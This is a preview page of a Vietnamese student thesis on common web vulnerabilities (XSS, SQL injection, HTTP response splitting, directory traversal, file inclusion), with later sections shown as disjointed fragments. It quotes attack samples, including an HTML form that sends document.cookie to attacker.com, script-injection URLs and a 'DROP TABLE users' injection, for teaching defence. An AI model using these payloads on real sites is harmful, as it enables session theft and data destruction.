1. Trang chủ
  2. » Công Nghệ Thông Tin

luận văn một số lỗ hổng bảo mật thường gặp

25 824 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Cấu trúc

  • I. Nguyên tắc hoạt động của máy chủ web

  • II. Trang web động là gì?

  • III. Dịch vụ web

  • I XSS là gì?

  • IV. XSS hoạt động như thế nào?

  • V. Tác hại của XSS

  • VI. Phân loại lỗi XSS

  • VII. Phát hiện XSS bằng cách nào?

  • VIII. Ngăn ngừa XSS như thế nào?

  • I Tầm quan trọng của các câu lệnh SQL đối với hệ thống web

  • IX. Sql Injection là gì?

  • X. Các dạng lỗi thường gặp

  • XI. Một số dạng tấn công thường gặp với các ứng dụng web

  • XII. Tác hại của SQL Injection

  • XIII. Chống tấn công kiểu SQL Injection

  • I HTTP Response Splitting

  • XIV. Directory traversal

  • XV. File Inclusion Attacks

  • I Các phần mềm tìm lỗ hổng cho web:

  • XVI. Bkav WebScan - Dịch vụ quét lỗ hổng bảo mật an toàn Website trực tuyến dành cho Webmaster (theo http://bb.com.vn )

Nội dung

Mục lục MỘT SỐ LỖ HỔNG BẢO MẬT THƯỜNG GẶP CỦA CÁC DỊCH VỤ WEB PHẦN I. TỔNG QUAN Chương 1. Lý do lựa chọn đề tài Ngày nay, khi ngành công nghiệp máy tính đang lớn mạnh và trở nên thịnh hành, các ứng dụng của nó vào thực tế đang được triển khai rộng rãi thì cũng là lúc các vấn đề về “tội phạm tin học” phát triển mạnh mẽ. Một trong các ứng dụng thịnh hành hiện nay là việc tạo các website phục vụ cho việc giao tiếp, quảng bá, kinh doanh … của các công ty, cơ quan, đoàn thể. Tuy nhiên, việc phát triển một ứng dụng web với việc bảo mật web ở Việt Nam hiện nay vẫn chưa được đồng bộ cùng nhau. Người ta ít quan tâm tới các nguy cơ bị tấn công của các trang web, hoặc có chăng cũng chỉ là các biện pháp ngăn chặn không hiệu quả. Theo Symantec và các chuyên gia trong lĩnh vực an toàn thộng tin, tình trạng mất an toàn thông tin và số lượng các vụ tấn công ngày càng cao làm Việt Nam có nguy cơ trở thành ổ máy tính ma lớn trên thế giới. Ngày 12/5/2010, theo công bố của Symantec, Việt Nam xếp thứ 19, tăng 1 bậc so với năm 2009. Mức đe doạ mã độc xếp thứ 12 trong khi năm trước chỉ đứng ở vị trí 24; Hệ thống máy chủ bị lởi dụng để lừa đảo trực tuyến là 33 (năm 2009 là 42); Đe doạ về máy tính bị nhiễm phần mềm điều khiển của tin tặc xếp thứ 45 trong khi năm 2009 là thứ 51. Theo ông Nguyễn Minh Đức, giám độc bộ phận an ninh mạng BKIS, thực tế mức độ nghiêm trọng an toàn thông tin của Việt Nam năm 2010 có tăng tương đối so với năm 2009 cả về số lượng máy tính nhiễm virus, số lượng máy chủ, website bị tấn công. “Ngay như năm 2011, chỉ tính riêng tháng 5 đã có đến 200 vụ tấn công các website, bằng khoảng 1/5 so với cả năm 2010” – ông Đức dẫn chứng. Vậy đâu là nguyên nhân của các cuộc tấn công vào các trang web? Việc quản lý lỏng lẻo cùng với Làm cách nào để giảm thiểu tối đa khả năng tấn công của “cracker” vào trang web? Đó luôn là vấn đề của các nhà thiết kế, quản trị website. Biết rõ cớ chế hoạt động cũng như cách thức tấn công của cracker để có biện pháp ngăn ngừa là một việc làm cần thiết. Đó là lý do nhóm lựa chọn đề tài “Tìm hiểu một số lỗ hổng bảo mật thường gặp trên các ứng dụng web” Chương 2. Nguyên lý hoạt động cơ bản của web I. Nguyên tắc hoạt động của máy chủ web Giả sử có một người quen nói với bạn: “Tôi vừa đọc một bài viết rất hay! Bạn hãy đánh vào địa chỉ sau và xem thử nhé, địa chỉ trang web này là http://computer.howstuffworks.com/web-server.htm. Khi bạn gõ dòng địa chỉ đó vào trình duyệt web và ấn Enter, trang web sẽ hiển thị trên màn hình của bạn. Làm thế nào mà trang web có thể hiển thị được như vậy? Cơ chế hoạt động của máy chủ web là gì? Các bước cơ bản trong tiến trình truyền tải trang web đến màn hình của bạn được thể hiện theo mô hình sau: Hình 1.1 Các tiến trình cơ bản của hoạt động web Theo mô hình trên, trình duyệt web (bên trái) thực hiện một kết nối tới máy chủ web (bên phải), yêu cầu một trang web và nhận lại nó. Sau đây, là thứ tự từng bước cơ bản xảy đến đằng sau màn hình của bạn. Trình duyệt web tách địa chỉ website làm 3 phần: − Tên giao thức: “http” − Tên miền của máy chủ web: www.howstuffworks.com − Tên tệp HTML: “web-server.htm” Trình duyệt liên hệ với máy chủ tên miền (DNS Server) để chuyển đổi tên miền “www.howstuffworks.com” ra địa chỉ tương ứng. Sau đó, trình duyệt sẽ gửi tiếp một kết nối tới máy chủ của website có địa chỉ IP này qua cổng 80. Dựa trên giao thức HTTP, trình duyệt gửi yêu cầu GET đến máy chủ, yêu cầu tệp HTML “web-server.htm”. (Chú ý: một cookies cũng sẽ được gửi kèm theo từ trình duyệt web đến máy chủ). Tiếp đến, máy chủ sẽ gửi một file văn bản có các thẻ HTML đến trình duyệt web của bạn (một cookies khác cũng được gửi kèm theo từ máy chủ tới trình duyệt web, cookies này được ghi trên đầu trang của mỗi trang web). Trình duyệt web đọc các thẻ HTML để xác lập định dạng (hình thức trình bày) trang web và kết xuất nội dung trang ra màn hình của bạn. Trong giao thức HTTP nguyên bản, bạn cần cung cấp đầy đủ đường dẫn của tên tệp, ví dụ như “/” hoặc “/tên tệp.htm”. Sau đó, giao thức sẽ tự điều chỉnh để có thể đưa ra một địa chỉ URL đầy đủ. Điều này cho phép các công ty kinh doanh dịch vụ lưu trữ có thể lưu trữ nhiều tên miền ảo (virtual domains), có nghĩa nhiều tên miền cùng tồn tại trên một máy chủ và sử dụng cùng một địa chỉ IP duy nhất. Ví dụ, trên máy chủ của HowStuffWorks, địa chỉ IP là 209.116.69.66, nhưng nó có hàng trăm tên miền khác nhau cùng tồn tại. II. Trang web động là gì? Máy tìm kiếm (Search engine), thí dụ Google, cho phép gõ vào các từ khóa trong một ô điền (form) HTML, sau đó máy tự động trả lại các trang web có chứa những từ khóa đó. Cơ sở dữ liệu của máy cho phép bạn đưa vào tên miền trong form HTML và nội dung những trang web được gửi trả lại sẽ thay đổi tùy thuộc vào tên miền mà bạn gõ vào. Trong tất các trường hợp trên, máy chủ web không chỉ đơn giản là “tìm kiếm một tệp”. Nó thực sự là một quá trình xử lý thông tin rồi kết xuất ra trang web dựa trên các kết quả truy vấn. Trong hầu hết các trường hợp trên, máy chủ web thường sử dụng các đoạn chương trình ASP, JSP, PHP và các đoạn mã CGI scripts để giải quyết bài toán III. Dịch vụ web Dịch vụ web (WS: Web Service) là một phương thức tích hợp các ứng dụng trên nền web. Mỗi ứng dụng trên nền web có thể sử dụng các thành phần khác nhau để tạo thành một dịch vụ web. Dòng tiến trình của một dịch vụ web bao gồm các bước sau: Hình 1.7. Dòng tiến trình của một dịch vụ web 1. Phát hiện - Tìm kiếm các dịch vụ web thích hợp trên một Web Site UDDI. 2. Mô tả - Web Site UDDI trả lời bằng một tệp WSDL mô tả về dịch vụ web thích hợp cho ứng dụng client. 3. Tạo Proxy - Tạo ra một Proxy cục bộ cho dịch vụ từ xa. Hiện nay không có chuẩn cho việc này. Proxy chuyển một phương tiện khởi động phương thức (method invocation) của đối tượng thành một thông báo XML và ngược lại. 4. Tạo thông báo SOAP - Tạo ra một thông báo SOAP/XML và gửi đến địa chỉ URL được xác định trong tệp WSDL. 5. Nhận cuộc gọi và diễn dịch - SOAP Listener là một bộ phận chương trình chạy trên máy chủ để thu nhận cuộc gọi và diễn dịch nó cho dịch vụ web. 6. Thực hiện - Dịch vụ Web thực hiện các chức năng của mình và trả kết quả về cho client, thông qua listener và proxy. Hình 1.8. Cấu trúc công nghệ của dịch vụ web Dịch vụ web là một thuật ngữ dễ gây nhầm lẫn và bản thân nó cần được giải thích bằng một số khái niệm của công nghệ thông tin như các chuẩn SOAP/XML, UDDI và WSDL: UDDI là một chuẩn qui định loại Web Site đặc biệt chuyên cung cấp thông tin về vị trí của các dịch vụ web có trên mạng. WSDL là một ngôn ngữ chuẩn cho phép mô tả tính năng của các dịch vụ web. SOAP (Simple Object Access Protocol) là một giao thức chuẩn trao đổi thông tin giữa các dịch vụ web. XML là chuẩn ngôn ngữ đánh dấu siêu văn bản có thể mở rộng với những sơ đồ mô tả tài liệu (DTD Schema). Chính việc trao đổi thông tin giữa các dịch vụ web đòi hỏi sử dụng nhiều công nghệ phải làm việc trơn tru với nhau. Dịch vụ web là một phương thức chuẩn để tích hợp các ứng dụng trên nền web (Web-based Applications). Các ứng dụng có thể sử dụng các thành phần khác nhau để tạo thành một dịch vụ, ví dụ như máy chủ chạy một trang web thương mại điện tử kết nối với cổng thanh toán điện tử qua một giao diện lập trình ứng dụng (API). Nếu tạo một ứng dụng web bởi công nghệ .NET của Microsoft thì thành phần trên máy chủ chính là hệ thống cung cấp trang HTML (IIS: Internet Information System), còn các thành phần thanh toán và các thành phần .NET được coi là các cấu kiện bên ngoài (component). Các thành phần này được gọi bởi phương thức SOAP (khác phương thức POST, GET thường dùng với HTML) nên không bị gặp phải tường lửa (firewall) khi truy cập các thành phần bên ngoài máy chủ. Và toàn bộ các thành phần đó gọi là một dịch vụ web. Dịch vụ web cho phép các tổ chức thực hiện truyền thông dữ liệu mà không cần phải có kiến thức về hệ thống tin học bị che giấu ở phía sau tường lửa. Một số dịch vụ web hiện nay có sẵn hoặc thậm chí miễn phí và càng ngày càng hướng dần vào phục vụ các cơ quan và doanh nghiệp. Một ví dụ về các dịch vụ web sẵn có là dịch vụ được cung cấp bởi công ty PayPal cho phép những người có tài khoản tín dụng tiền điện tử thì có thể thanh toán trên mạng hoặc trả một phần hoặc thực hiện các giao dịch tìm kiếm, và lấy lại các thông tin của từng giao dịch cụ thể. Để bảo mật trên web, người ta sử dụng và kết hợp các phương pháp như: xác thực (authentication), mã hóa (cryptography), sử dụng SSL, TSL,… Qua các thông tin trên, có thể thấy được rằng web có vẻ rất an toàn và bảo mật, thế nhưng vẫn còn tồn tại những lỗ hổng bảo mật cực kì nguy hiểm. Vậy hiện nay, các lỗ hổng bảo mật phổ biến là gì? Và mức độ nguy hiểm, cách thức hoạt động của chúng ra sao? PHẦN II. MỘT SỐ LỖ HỒNG BẢO MẬT THƯỜNG GẶP Mặc dù web được bảo mật bằng những phương thức khác nhau, thế nhưng cracker là những người rất tinh vi. Họ tìm tòi và suy nghĩ ra những phương pháp tấn công thông minh và độc đáo dựa trên các lỗ hổng của các ứng dụng web. Dưới đây là một số phương pháp tấn công phổ biến 1 Cross Site Scripting (XSS) Vào tháng 10 năm 2005, một người dùng đăng nhập tài khoản ở MySpace và xem profile của người khác. Trình duyệt xử lý JavaScript của trang này tự động update trên user profile thông báo là một người tên Samy là người hùng của họ. Một người bạn của người này vào xem profile và đồng ý trên profile rằng Samy là người hùng Và sau đó nhiều người cùng đồng ý Samy là người hùng trong khi không biết Samy là ai. Sau 24 giờ, Samy có trên 1 triệu bạn bè, và MySpace bị tắc nghẽn lưu lượng. Samy đã sử dụng XSS với khoảng 4000 ký tự text, tạo nên một cuộc tấn công DoS và MySpace, một công ty có số server lên đến hàng ngàn. Cuộc tấn công của Samy được dùng để tham khảo cho các cuộc tấn công sử dụng XSS sau này. (Cuộc phỏng vấn Samy có thể xem tại http://blogoscoped.com/achive/2005-10-14-n81.html ). XSS có thể được dùng kèm với keylogger để ăn cắp mật khẩu tài khoản ngân hàng, tài khoản ngân hàng, tài khoản game online hoặc có thể được dùng để lấy cookies từ nạn nhân. Phương pháp này tuy đơn giản nhưng rất nguy hiểm đối với những người dùng web. Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. I XSS là gì? Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho người dùng. Những đoạn mã nguy hiểm này đựơc chèn vào hầu hết viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML. Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất của ứng dụng Web và ngày càng đe doạ người sử dụng. Khác với SQL Injection tấn công vào CSDL của website, XSS tấn công trực tiếp vào người dùng. Lợi dụng lỗi XSS, hacker có thể lừa đảo quản trị của website, ăn cắp cookie, chiếm sesion… từ đó có thể đăng nhập chiếm quyền điều khiển website. IV. XSS hoạt động như thế nào? Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt load thêm các website khác khi các lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express: ====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" ====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <HTML><HEAD></HEAD><BODY bgColor=3D#ffffff> <iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0> </iframe></BODY></HTML> ====_ABC0987654321DEF_==== ====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="filename.ext.ext" Content-Transfer-Encoding: base64 Content-ID: <EA4DMGBP9p> Đôi khi đang đọc email, hộp thư bị chuyển sang một website khác, điều đó đồng nghĩa với việc mail của người dùng có thể đã mất mật khẩu. Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư mà không rõ nguyên nhân. Có lẽ khi đó các email được mở mà không hề cảnh giác với XSS. Không phải chỉ các file đính kèm mới có thể gây nguy hiểm cho người dùng. Chỉ cần với một đoạn mã HTML gửi trong email của người dùng đã hoàn toàn bị mất cookie: <form action="http://attacker.com/save.asp" method="post" name="XSS"> <input type="hidden" name="cookie"> </form> <img border="0" onmouseover = "window.document.XSS.cookie.value = document.cookie;window.document.XSS.submit();" src="none.jpg"> Khi nhận thư, và nếu bức hình gửi kèm được trỏ tới thì đồng nghĩa với việc đoạn mã trên được kích hoạt và người dùng sẽ bị mất cookie. Và với cookie lấy được, các hacker có thể dễ dàng đăng nhập vào hòm thư đó mà không cần biết mật khẩu. Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML nhưng lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hỗng nghiêm trọng này, như vậy không có nghĩa là người dùng không cần cảnh giác với những "lỗi" của website. Một liên kết có dạng: http://example.com/search.cgi?query=<script>alert(document.cookie)</script> Chắc chắn sẽ khiến cho người dùng phải xem xét kĩ trước khi click vào, có thể là sẽ tắt JavaScript cho trình duyệt trước khi click vào hay ít nhất cũng có một chút cảnh giác. Nhưng nếu gặp liên kết: http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%69%70%74 Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEXA của nó, tất nhiên trình duyệt vẫn hiểu địa chỉ đó thực sự là gì. Bởi vậy người dùng có thể sẽ gặp phải các đoạn mã nguy hiểm nếu như mất cảnh giác với XSS. Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là http://www.example.com/search.cgi?query=<script>alert('XSS was found !');</script> Và rất có thể trình duyệt web sẽ hiện lên một thông báo "XSS was found !". V. Tác hại của XSS Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính SRC của thẻ script. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS. Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề phá hoại các website. XSS là những Client Side Script – kịch bản phía máy khách, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server. Mục tiêu tấn công của XSS là người sử dụng – client – của website. Khi một client vô tình truy cập vào trang có chứa các đoạn mã nguy hiểm do các hacker tạo ra, họ có thể bị chuyển tới các website khác,nặng hơn là mất mật khẩu, mất cookie, hay cả việc máy tính có thể sẽ bị cài các loại virus, backdoor, worm XSS thường được sử dụng với các mục đích sau: đánh cắp thông tin, giúp hacker có thể truy cập được vào những thông tin nhạy cảm, lấy được quyền truy cập miễn phí vào những trang web đáng ra phải trả tiền mới vào được, dò xét sở thích của người dùng mạng, thay đổi giao diện của một trang web nào đó, tấn công từ chới dịch vụ (DoS) VI. Phân loại lỗi XSS 1. Stored-XSS Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công chèn một đoạn mã script nguy hiểm vào website của chúng ta thông qua một chức năng nào đó(ví dụ viết lời bình, gửi bài )để từ đó khi các thành viên khá truy cập website sẻ bị dính mã độc từ kẻ tấn công này, các mã độc thường được lưu lại trong database của website chúng ta nên gọi là stored.stred phát sinh do chúng takhoong lọc dữ liệu do thành viên gửi lên một cách đúng đắn, khiến cho mã độc được lưu vào database của website [...]... phép khai thác một lỗ hổng bảo mật tồn tại trong cơ sở dữ liệu của một ứng dụng Lỗ hổng bảo mật này có thể xuất hiện khi ứng dụng không có đoạn mã kiểm tra chuỗi ký tự thoát nhúng trong câu truy vấn SQL hoặc do sự định kiểu đầu vào không rõ ràng hay do lỗi cú pháp SQL của lập trình viên khiến cho một đoạn mã ngoại lai có thể được xử lý ngoài ý muốn Nó là một ví dụ của sự rủi ro khi một ngôn ngữ lập... dạng ?page=download.html, ?page=template.tmp PHẦN III I MỘT SỐ CÔNG CỤ HỖ TRỢ PHÁT HIỆN LỖI Các phần mềm tìm lỗ hổng cho web: − − − − XVI Acunetix HP Scrawlr URLScan Google Bkav WebScan - Dịch vụ quét lỗ hổng bảo mật an toàn Website trực tuyến dành cho Webmaster (theo http://bb.com.vn ) Bkav WebScan là dịch vụ quét, phát hiện và đánh giá các lỗ hổng an ninh của website Đây là dịch vụ dành cho các quản... EscapeQuotes = sInput 5 End Function %> Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được đoán trước là dữ liệu số bằng một chuỗi chứa câu lệnh SQL bất hợp pháp.Để tránh điều này, hãy kiểm tra dữ liệu nhập vào có đúng liểu số hay không bằng hàm IsNumeric() Ngoài ra có thể ra có thể xây dựng hàm loại bỏ một số ký tự và từ khóa nguya hiểm như: ;, , select, insert,xp_, ra... điểm yếu của hệ thống Sử dụng store procedure thay vì dùng query thông thường Khi sử dụng store procedure sẽ hạn chế tối đa các khả năng chèn các đoạn mã nguy hiểm trong yêu cầu Xóa các store procedure nguy hiểm không dùng đến như xp_cmdshell, xp_startmail, xp_sendmail Chương 4 I Một số lỗ hổng bảo mật khác HTTP Response Splitting − Lỗi HTTP Response Splitting (HTTP RS) tấn công vào ứng dụng web và diễn... users; 4 Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL Điều này sẽ cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang được thoát 5 Blind SQL injection Lỗi... dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu quả của chúng lại không hiển thị trực quan cho những kẻ tấn công Nó có thể gây ra sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời gian để phục hồi chính xác từng bit dữ liệu Những kẻ tấn công còn có thể sử dụng một số công... một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn 6 Thay đổi giá trị điều kiện truy vấn Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1; Sẽ hiển thị một trang một cách bình thường, trong khi: SELECT... khi giá trị nhập vào là đúng XI Một số dạng tấn công thường gặp với các ứng dụng web Có bốn dạng tấn công thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures 1 Dạng tấn công vượt qua kiểm tra lúc đăng nhập Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao... hay ngôn ngữ kịch bản được nhúng trong một ngôn ngữ khác Tấn công SQL injection còn có thể hiểu là hình thức tấn công chèn bất hợp pháp các đoạn mã SQL X 1 Các dạng lỗi thường gặp Không kiểm tra ký tự thoát truy vấn Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ... có phải là số hay không Ví dụ như sau: statement := "SELECT * FROM data WHERE id = " + a_variable + ";" Đoạn mã trên yêu cầu nhập vào một số id là trường số Tuy nhiên thay vì nhập vào một số, người dùng cuối có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát (;) Ví dụ nhập giá trị của biến a_variable là: 1;DROP TABLE users Khi đó, lệnh . webserver. SQL injection là một kỹ thuật điền vào những đoạn mã SQL bất hợp pháp cho phép khai thác một lỗ hổng bảo mật tồn tại trong cơ sở dữ liệu của một ứng dụng. Lỗ hổng bảo mật này có thể xuất hiện. thể thấy được rằng web có vẻ rất an toàn và bảo mật, thế nhưng vẫn còn tồn tại những lỗ hổng bảo mật cực kì nguy hiểm. Vậy hiện nay, các lỗ hổng bảo mật phổ biến là gì? Và mức độ nguy hiểm, cách. Và mức độ nguy hiểm, cách thức hoạt động của chúng ra sao? PHẦN II. MỘT SỐ LỖ HỒNG BẢO MẬT THƯỜNG GẶP Mặc dù web được bảo mật bằng những phương thức khác nhau, thế nhưng cracker là những người

Ngày đăng: 17/10/2014, 07:32

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w